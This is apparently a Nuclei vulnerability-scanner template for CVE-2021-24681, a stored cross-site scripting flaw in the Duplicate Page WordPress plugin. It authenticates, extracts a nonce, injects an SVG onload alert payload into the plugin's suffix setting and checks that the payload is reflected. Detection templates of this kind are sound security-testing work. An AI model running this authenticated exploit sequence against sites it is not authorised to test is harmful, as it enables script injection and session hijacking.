id: CVE-2021-24681

info:
  name: Duplicate Page WordPress - Stored Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Duplicate Page WordPress plugin <= 4.4.2 contains a stored cross-site scripting caused by unsanitized Duplicate Post Suffix settings in output, letting high privilege users execute malicious scripts, exploit requires high privilege user role.
  impact: |
    Attackers can execute malicious scripts in the context of the site, potentially leading to session hijacking or defacement.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/9ebdd1df-1d6f-4399-8b0f-77a79f841464
    - https://wordpress.org/plugins/duplicate-page
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24681
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2021-24681
    cwe-id: CWE-79
    epss-score: 0.0087
    epss-percentile: 0.55262
    cpe: cpe:2.3:a:duplicatepro:duplicate_page:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: duplicatepro
    product: duplicate_page
    framework: wordpress
    publicwww-url: "/wp-content/plugins/duplicate-page"
  tags: wpscan,cve,cve2021,wordpress,wp,wp-plugin,duplicate-page,xss,vuln
flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/options-general.php?page=duplicate_page_settings HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/options-general.php?page=duplicate_page_settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        duplicatepage_nonce_field={{wp_nonce}}&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dduplicate_page_settings&duplicate_post_status=draft&duplicate_post_redirect=to_list&duplicate_post_suffix="><svg/onload=alert(document.domain)>&submit_duplicate_page=Save+Changes

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Saving Please wait...")'
        condition: and
        internal: true

    extractors:
      - type: regex
        group: 1
        name: wp_nonce
        regex:
          - "id=\"duplicatepage_nonce_field\" name=\"duplicatepage_nonce_field\" value=\"(.*?)\""
        internal: true

  - raw:
      - |
        GET /wp-admin/options-general.php?page=duplicate_page_settings&msg=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "duplicate_post_suffix", "\"><svg/onload=alert(document.domain)>")'
        condition: and
# digest: 4a0a00473045022100d58388a06c6df3972a045fc09d6d77397f8824fbd776456c66a04440c0cefe1f02203490dc3c589b8ebdaced17c992ba045281da830fa768e9ed2356e05cd31b563a:922c64590222798bb761d5b6d8e72950